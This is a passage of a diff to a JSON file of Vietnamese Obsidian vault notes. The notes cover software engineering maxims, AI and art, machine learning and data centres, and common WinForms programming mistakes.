becomes blind and rigid.\n\nIn the perfect world, knowledge evolves in a tool, like in a brain. Our tool should support information and connections evolution, mutation, and recombination.\n\nNguồn:: [Augmenting Organizational Intelligence](https://fibery.io/blog/augmenting-organizational-intelligence/)\n\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Trước khi AI có thể kiểm định và sửa lỗi code, ta vẫn cần phải học lập trình để kiểm định và sửa lỗi cho nó]] \nNguồn:: ![What we need before even attempting to replace programmers with AI | Alex Gu | TEDxBoston - YouTube](https://youtu.be/OSUl6ExR5M8?si=zdhAQPpBXk6iEvkI)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9G" }, { - "Tiêu đề": "Sự khác biệt giữa các ứng dụng quản lý chủ yếu ở nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Sự khác biệt giữa các ứng dụng quản lý chủ yếu ở nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật", + "Tiêu đề": "AI không làm nghệ thuật được, vì nó phải đưa ra những lựa chọn ngầm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI không làm nghệ thuật được, vì nó phải đưa ra những lựa chọn ngầm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ứng dụng quản lý (Line-of-Business, LOB) là loại phần mềm phổ biến nhất đối với doanh nghiệp. Về bản chất, có thể hình dung ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu.\n\nCác công việc chính mà một ứng dụng quản lý thực hiện là các thao tác với dữ liệu, bao gồm tạo mới (Create), đọc (Retrieve), cập nhật (Update), và xóa (Delete). Vì vậy, các ứng dụng quản lý cũng thường được gọi là những ứng dụng CRUD.\n\nVới đặc điểm trên, khi phát triển một ứng dụng quản lý, nhiệm vụ chính mà lập trình viên phải thực hiện là xây dựng các screen giúp người dùng thực hiện các tác vụ CRUD trên dữ liệu. Thông thường, mỗi domain class/entity sẽ đòi hỏi một nhóm screen thực hiện các tác vụ CRUD trên class/entity đó.\n\nĐiều này dẫn đến việc phát triển ứng dụng quản lý đều thực hiện theo một khuôn mẫu chung, từ giao diện người dùng đến tương tác với dữ liệu.\n\nSự khác biệt lớn nhất giữa các ứng dụng quản lý có lẽ là ở bài toán / nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật.\n\nDo đặc thù gần như mọi thứ đi theo khuôn mẫu chung, các hãng hoặc các nhóm phát triển phần mềm thường xây dựng ra các công cụ giúp tự động hóa một phần hoặc toàn phần việc tạo ra các ứng dụng quản lý.\n\nNguồn:: [[tuhocict]], [Radzen Blazor - Công cụ phát triển nhanh ứng dụng quản lý | Tự học ICT](https://tuhocict.com/radzen-blazor-cong-cu-phat-trien-nhanh-ung-dung-quan-ly/)\n", + "Toàn bộ nội dung": "Khái niệm:: \nNếu một người không đưa ra các lựa chọn, họ không thể tự nhận mình là tác giả\nNguồn:: https://www.newyorker.com/culture/the-weekend-essay/why-ai-isnt-going-to-make-art", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-22T04:32:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2024-09-06T02:06:00.000Z", + "Ngày cập nhật": "2024-09-06T02:06:00.000Z", "id": "9H" }, { - "Tiêu đề": "Code được dùng nhiều hơn được đọc, được đọc nhiều hơn được viết", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Code được dùng nhiều hơn được đọc, được đọc nhiều hơn được viết", + "Tiêu đề": "Dữ liệu có thể là ngôn ngữ mà tất cả mọi người đều hiểu", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Dữ liệu có thể là ngôn ngữ mà tất cả mọi người đều hiểu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n![[Code is run more than read.jpg]]\nNguồn:: [Code is run more than read](https://olano.dev/2023-11-30-code-is-run-more-than-read/), [Chu Quang Tú](https://www.facebook.com/tucq88/posts/pfbid02ERiRMWTGcPBcowCMchmBvTRKToktBfAjmqmzujhaB5KvEkeP9zun5SLzBYwsbV3Wl?comment_id=1082448573091874&reply_comment_id=6932267213532575¬if_id=1701782344707538¬if_t=comment_mention&ref=notif)\n\nMâu thuẫn với:: [[Viết code dễ hơn đọc code]]", + "Toàn bộ nội dung": "Lý do:: [[Ngôn ngữ của người dùng và ngôn ngữ của người cung cấp giải pháp có thể khác nhau]]\n[[Các cấp trong tổ chức nên nói chuyện với nhau bằng thành quả]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:54:00.000Z", + "Ngày tạo": "2023-06-16T10:06:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9I" }, { - "Tiêu đề": "Các cuốn sách về phương pháp lập trình được viết bởi những người làm phần mềm nội bộ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Kiến trúc/Các cuốn sách về phương pháp lập trình được viết bởi những người làm phần mềm nội bộ", + "Tiêu đề": "Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Máy học/Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Five Worlds – Joel on Software](https://www.joelonsoftware.com/2002/05/06/five-worlds/)", + "Toàn bộ nội dung": "Nguồn:: [WE1S – A 4Humanities Project](https://we1s.ucsb.edu/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "Ngày tạo": "2023-05-29T11:21:00.000Z", + "Ngày cập nhật": "2024-09-02T07:50:00.000Z", "id": "9J" }, { - "Tiêu đề": "Cấu trúc kỹ thuật của sản phẩm phản ánh giới hạn xã hội của tổ chức tạo ra nó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Kiến trúc/Cấu trúc kỹ thuật của sản phẩm phản ánh giới hạn xã hội của tổ chức tạo ra nó", + "Tiêu đề": "Máy học dự đoán xem mẫu hình có bao nhiêu khả năng lặp lại trong tương lai", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Máy học/Máy học dự đoán xem mẫu hình có bao nhiêu khả năng lặp lại trong tương lai", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Wikipedia]], [Conway's law - Wikipedia](https://en.wikipedia.org/wiki/Conway%27s_law)\n\n[[Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất]]", + "Toàn bộ nội dung": "Khái niệm:: [[Mẫu hình (pattern)]]\n\n[[Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản]]\n![The danger of predictive algorithms in criminal justice | Hany Farid | TEDxAmoskeagMillyard - YouTube](https://youtu.be/p-82YeUPQh0?si=oVmv52ZlZoym0Rum)\n![Imagine Predictive Analytics Putting a Crystal Ball in Your Hand | Dr. Phil Wells | TEDxKanata - YouTube](https://youtu.be/QWps8A-hljw?si=-1uQbDlJ7Ww8sE_S)\n\n\n[Đủ các chủ đề liên quan đến pattern recognition](https://explorer.globe.engineer/search?qd=%5B%7B%22index%22%3A0%2C%22type%22%3A%22top_searchbox%22%2C%22searchbox_query%22%3A%22pattern%20recognition%22%2C%22clicked_category%22%3Anull%2C%22search_id%22%3A%2278c262fb-1b09-40fc-9943-404e65827452%22%2C%22staged_image%22%3Anull%7D%5D&sid=78c262fb-1b09-40fc-9943-404e65827452). Neural network chắc là ứng dụng lý thuyết đồ thị đầy nhóc trong đó ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "Ngày cập nhật": "2024-09-02T07:50:00.000Z", "id": "9K" }, { - "Tiêu đề": "Không phải vì một thứ có thể làm một điều mà ta nên dùng nó để làm điều đó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Kiến trúc/Không phải vì một thứ có thể làm một điều mà ta nên dùng nó để làm điều đó", + "Tiêu đề": "Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Máy học/Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\nTrong lĩnh vực tội phạm học, các mô hình dự báo về khả năng phạm tội của một người có thể có độ chính xác tương đương với những người ngẫu nhiên tweet \nNguồn:: ![The danger of predictive algorithms in criminal justice | Hany Farid | TEDxAmoskeagMillyard - YouTube](https://youtu.be/p-82YeUPQh0?si=kjFWnZRibR8zUnPI&t=760)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "Ngày cập nhật": "2024-09-02T07:50:00.000Z", "id": "9L" }, { - "Tiêu đề": "Phần mềm nội bộ không cần dễ dùng và không phải kiểm thử trên nhiều môi trường khác nhau, cũng không sợ bị cạnh tranh", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Kiến trúc/Phần mềm nội bộ không cần dễ dùng và không phải kiểm thử trên nhiều môi trường khác nhau, cũng không sợ bị cạnh tranh", + "Tiêu đề": "Ngành khoa học dữ liệu còn nhiều thuật ngữ không có sự ổn định về nghĩa", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Ngành khoa học dữ liệu còn nhiều thuật ngữ không có sự ổn định về nghĩa", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Các cuốn sách về phương pháp lập trình được viết bởi những người làm phần mềm nội bộ]] \nNguồn:: [Five Worlds – Joel on Software](https://www.joelonsoftware.com/2002/05/06/five-worlds/)", + "Toàn bộ nội dung": "Khái niệm:: \n\nlook at what [information extraction covers](https://en.wikipedia.org/wiki/Information_extraction): it's very broad and vague, it goes from keyword extraction (but then, what is a keyword?) to extracting sophisticated semantic relations, and there can be many ways to represent semantic information. Additionally to the fact that data science is very recent compared to maths or physics, some of its concepts are philosophical concepts that philosophy itself doesn't define precisely. The blurry nature of concepts such as information, language, or even logic is the cause.\n\nNguồn:: [nlp - How to structure unstructured data - Data Science Stack Exchange](https://datascience.stackexchange.com/questions/96994/how-to-structure-unstructured-data/97010?noredirect=1#comment125619_97010)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9M" }, { - "Tiêu đề": "Ngôn ngữ lập trình không giúp con người làm được nhiều hơn những gì ngôn ngữ lập trình bậc thấp làm được. Nó chỉ giúp con người làm ra ít lỗi hơn mà thôi", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Ngôn ngữ lập trình không giúp con người làm được nhiều hơn những gì ngôn ngữ lập trình bậc thấp làm được. Nó chỉ giúp con người làm ra ít lỗi hơn mà thôi", + "Tiêu đề": "40% lượng điện của các trung tâm dữ liệu là để cho việc làm mát", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Trung tâm dữ liệu/40% lượng điện của các trung tâm dữ liệu là để cho việc làm mát", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nThe point of higher-level languages is not that they can _do more_. Assembly language can already do everything that a computer can do.\nTheir reason for existing is only ever to assist humans, with human-like memory, perception, speed of thought etc., in creating and maintaining code bases _with fewer errors_. The more aware you are of your own limitations, the more you will appreciate why people invented types, classes, interfaces etc. etc.\n\nQuan điểm của các ngôn ngữ cấp cao hơn không phải là chúng có thể _làm hơn_. Hợp ngữ đã có thể làm mọi thứ mà máy tính có thể làm.\nLý do tồn tại của họ chỉ là để hỗ trợ con người, với trí nhớ, nhận thức, tốc độ suy nghĩ giống như con người, v.v., trong việc tạo và duy trì các cơ sở mã _với ít errors_ hơn. Bạn càng nhận thức rõ về những hạn chế của chính mình, bạn sẽ càng đánh giá cao lý do tại sao mọi người phát minh ra các loại, lớp, giao diện, v.v.\n\nNguồn:: [At what point does using a statically typed language gain more benefit than using a dynamically typed language with optional type declaration? (closed)](https://softwareengineering.stackexchange.com/a/448991/192731)", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Cartography of generative AI](https://cartography-of-generative-ai.net/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9N" }, { - "Tiêu đề": "Người mới lập trình thường chỉ biết muốn biết làm sao để code chạy được. Người có kinh nghiệm còn quan tâm đến tính dễ bảo trì, mở rộng và bắt lỗi của code", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Người mới lập trình thường chỉ biết muốn biết làm sao để code chạy được. Người có kinh nghiệm còn quan tâm đến tính dễ bảo trì, mở rộng và bắt lỗi của code", + "Tiêu đề": "Dấu chân carbon của việc tính toán đã vượt qua công nghiệp hàng không", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Trung tâm dữ liệu/Dấu chân carbon của việc tính toán đã vượt qua công nghiệp hàng không", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Một số lỗi thường gặp trong lập trình winform\n\n### Viết mọi thứ vào code behind\n\nCác bạn rất thường xuyên viết tất cả các loại code trong file code behind. Nó bao gồm đủ các code xử lý logic, tính toán, truy xuất cơ sở dữ liệu, tương tác với các điều khiển.\n\nKết quả là file code behind thường xuyên là một mớ hổ lốn với số lượng code rất lớn. Cá biệt, đôi khi gặp những project mà toàn bộ code của cả chương trình dồn vào trong vài form.\n\nMỗi lớp form thường được tách làm hai file: file design và file code behind. Code của file design được chương trình designer sinh tự động. Phần code behind là nơi lập trình viên viết code của mình để xử lý sự kiện hoặc thực hiện các tính toán.\n\nGiờ đặt ra mấy vấn đề:\n\n- Bạn sẽ làm thế nào nếu muốn thay đổi thiết kế giao diện? Hầu như sẽ phải code lại hết từ đầu rồi.\n- Nếu bạn làm việc theo nhóm 2-3 người, làm sao phân chia công việc? Cái này chịu rồi.\n- Làm sao để test được logic/tính toán của ứng dụng? Cái này cũng chịu rồi.\n- Làm sao để bảo trì code về sau, đặc biệt khi có yêu cầu điều chỉnh từ người hướng dẫn?\n- Người khác (giáo viên chẳng hạn) đọc code của bạn chắc chắn sẽ không chịu nổi đâu.\n\nTại sao lại có việc dồn code hết vào một cục như vậy?\n\nĐây là do bạn không biết và vận dụng các nguyên lý của thiết kế hướng đối tượng (như [bộ nguyên lý SOLID](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)) và các nguyên lý chung trong lập trình ứng dụng (vd, nguyên lý Separation of Concerns). Các nguyên lý này áp dụng không chỉ cho winform, mà còn cho bất kỳ công nghệ phát triển ứng dụng nào.\n\nBạn cũng không quan tâm đến các yêu cầu chung đặt ra cho việc code phần mềm (ví dụ, khả năng bảo trì, nâng cấp, test). Mục đích của các bạn chỉ là làm sao có được một chương trình chạy.\n\nTuy nhiên, nếu bạn quen với lối lập trình như vậy, dù là theo công nghệ nào đi nữa, code của các bạn cũng vẫn chỉ là các mớ hổ lốn. Sau sẽ rất khó sửa.\n\n### Không phát huy được các tính năng của windows forms\n\nVí dụ, khi làm việc với các control như TextBox, các bạn thường truy xuất thông tin trực tiếp qua code và thuộc tính Text. Khi làm việc với DataGridView/ListView, các bạn thường đổ dữ liệu vào một cách thủ công.\n\nKhi làm như vậy, tất cả đều phải thông qua code. Mà code này lại nằm ở chính file code behind đã nói ở trên. Nó càng làm phình file này ra.\n\nVới kiểu làm “thủ công” trên, bạn đã vứt bỏ đi khả năng liên kết dữ liệu (data binding) và hỗ trợ thiết kế rất mạnh của winforms. Lối làm thủ công mất rất nhiều công sức, dễ bị lỗi, ứng dụng làm ra hay bị lỗi vặt và thiếu ổn định.\n\nHãy tưởng tượng khi một giao diện phức tạp với rất nhiều điều khiển trên đó trao đổi và đồng bộ dữ liệu với nhau. Việc lẫn lộn giữa chúng là rất thường xuyên. Kiểu làm thủ công này cũng rất rắc rối khi cần đồng bộ dữ liệu giữa các điều khiển.\n\n### Không phân biệt giữa giao diện – logic – dữ liệu\n\nỞ trên có nói tới việc bạn thường xuyên nhồi nhét đủ mọi loại code vào file code-behind của form. Nếu bạn phân biệt được rạch ròi các thành phần chính của ứng dụng thì có thể mọi thứ sẽ khác.\n\nNhìn một cách chung nhất, mỗi ứng dụng thường phân biệt rõ 3 thành phần cơ bản: giao diện người dùng, logic, dữ liệu. Mỗi thành phần này có mục tiêu khác nhau, kỹ thuật xử lý khác nhau. Do đó, không thể trộn lẫn lộn với nhau được.\n\nGiao diện người dùng được tạo ra bởi Form và các điều khiển bạn đặt trên nó. Nhiệm vụ của nó là giúp người dùng nhập dữ liệu, và hiển thị dữ liệu (đã xử lý) trở lại cho người dùng.\n\nLogic là các quy tắc chi phối việc xử lý dữ liệu. Anh này thường âm thầm đứng sau chứ ít khi lộ diện và do đó ít khi được để ý tới. Ví dụ, khi người dùng cần một danh sách email sắp xếp theo thứ tự abc. Anh logic phải làm việc này. Còn anh giao diện chỉ làm nhiệm vụ hiển thị nó ra.\n\nDữ liệu là thứ trung tâm, cả anh giao diện và logic đều phải làm việc với anh dữ liệu. Tuy nhiên, anh dữ liệu cũng đòi hỏi có nhà riêng cho nó ở. Đó là file dữ liệu, hoặc một cơ sở dữ liệu. Khi cần, dữ liệu sẽ rời nhà đến làm việc với logic và giao diện. Xong việc, dữ liệu sẽ quay về nhà ở.\n\nNhư vậy, nếu phân biệt rõ ba anh này, bạn chắc chắn sẽ thấy chúng nó không thể ở chung với nhau được. Mỗi anh cần không gian riêng cho mình.\n\nNguồn:: [[tuhocict]], [Bộ giải pháp dễ học cho lập trình winform giúp bạn làm đề tài | Tự học ICT](https://tuhocict.com/giai-phap-winforms-1-phan-tich-van-de-bai-toan-minh-hoa/)\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Cartography of generative AI](https://cartography-of-generative-ai.net/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-22T04:55:00.000Z", - "Ngày cập nhật": "2024-07-27T05:58:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", "id": "9O" }, { - "Tiêu đề": "Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Ngành công nghiệp siêu tính toán được xây dựng trên nền tảng thuộc địa từ việc khai thác tài nguyên ở các nước bán cầu nam", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Trung tâm dữ liệu/Ngành công nghiệp siêu tính toán được xây dựng trên nền tảng thuộc địa từ việc khai thác tài nguyên ở các nước bán cầu nam", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Cartography of generative AI](https://cartography-of-generative-ai.net/)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "id": "9P" + }, + { + "Tiêu đề": "Code được dùng nhiều hơn được đọc, được đọc nhiều hơn được viết", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Code được dùng nhiều hơn được đọc, được đọc nhiều hơn được viết", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \n![[Code is run more than read.jpg]]\nNguồn:: [Code is run more than read](https://olano.dev/2023-11-30-code-is-run-more-than-read/), [Chu Quang Tú](https://www.facebook.com/tucq88/posts/pfbid02ERiRMWTGcPBcowCMchmBvTRKToktBfAjmqmzujhaB5KvEkeP9zun5SLzBYwsbV3Wl?comment_id=1082448573091874&reply_comment_id=6932267213532575¬if_id=1701782344707538¬if_t=comment_mention&ref=notif)\n\nMâu thuẫn với:: [[Viết code dễ hơn đọc code]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T07:54:00.000Z", + "id": "9Q" + }, + { + "Tiêu đề": "Các cuốn sách về phương pháp lập trình được viết bởi những người làm phần mềm nội bộ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Kiến trúc/Các cuốn sách về phương pháp lập trình được viết bởi những người làm phần mềm nội bộ", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Five Worlds – Joel on Software](https://www.joelonsoftware.com/2002/05/06/five-worlds/)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "id": "9R" + }, + { + "Tiêu đề": "Cấu trúc kỹ thuật của sản phẩm phản ánh giới hạn xã hội của tổ chức tạo ra nó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Kiến trúc/Cấu trúc kỹ thuật của sản phẩm phản ánh giới hạn xã hội của tổ chức tạo ra nó", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Wikipedia]], [Conway's law - Wikipedia](https://en.wikipedia.org/wiki/Conway%27s_law)\n\n[[Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "id": "9S" + }, + { + "Tiêu đề": "Không phải vì một thứ có thể làm một điều mà ta nên dùng nó để làm điều đó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Kiến trúc/Không phải vì một thứ có thể làm một điều mà ta nên dùng nó để làm điều đó", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "id": "9T" + }, + { + "Tiêu đề": "Phần mềm nội bộ không cần dễ dùng và không phải kiểm thử trên nhiều môi trường khác nhau, cũng không sợ bị cạnh tranh", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Kiến trúc/Phần mềm nội bộ không cần dễ dùng và không phải kiểm thử trên nhiều môi trường khác nhau, cũng không sợ bị cạnh tranh", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Các cuốn sách về phương pháp lập trình được viết bởi những người làm phần mềm nội bộ]] \nNguồn:: [Five Worlds – Joel on Software](https://www.joelonsoftware.com/2002/05/06/five-worlds/)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "id": "9U" + }, + { + "Tiêu đề": "Ngôn ngữ lập trình không giúp con người làm được nhiều hơn những gì ngôn ngữ lập trình bậc thấp làm được. Nó chỉ giúp con người làm ra ít lỗi hơn mà thôi", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Ngôn ngữ lập trình không giúp con người làm được nhiều hơn những gì ngôn ngữ lập trình bậc thấp làm được. Nó chỉ giúp con người làm ra ít lỗi hơn mà thôi", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Khái niệm:: \n\nThe point of higher-level languages is not that they can _do more_. Assembly language can already do everything that a computer can do.\nTheir reason for existing is only ever to assist humans, with human-like memory, perception, speed of thought etc., in creating and maintaining code bases _with fewer errors_. The more aware you are of your own limitations, the more you will appreciate why people invented types, classes, interfaces etc. etc.\n\nQuan điểm của các ngôn ngữ cấp cao hơn không phải là chúng có thể _làm hơn_. Hợp ngữ đã có thể làm mọi thứ mà máy tính có thể làm.\nLý do tồn tại của họ chỉ là để hỗ trợ con người, với trí nhớ, nhận thức, tốc độ suy nghĩ giống như con người, v.v., trong việc tạo và duy trì các cơ sở mã _với ít errors_ hơn. Bạn càng nhận thức rõ về những hạn chế của chính mình, bạn sẽ càng đánh giá cao lý do tại sao mọi người phát minh ra các loại, lớp, giao diện, v.v.\n\nNguồn:: [At what point does using a statically typed language gain more benefit than using a dynamically typed language with optional type declaration? (closed)](https://softwareengineering.stackexchange.com/a/448991/192731)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-27T05:59:00.000Z", + "id": "9V" + }, + { + "Tiêu đề": "Người mới lập trình thường chỉ biết muốn biết làm sao để code chạy được. Người có kinh nghiệm còn quan tâm đến tính dễ bảo trì, mở rộng và bắt lỗi của code", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Kỹ thuật phần mềm/Người mới lập trình thường chỉ biết muốn biết làm sao để code chạy được. Người có kinh nghiệm còn quan tâm đến tính dễ bảo trì, mở rộng và bắt lỗi của code", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "## Một số lỗi thường gặp trong lập trình 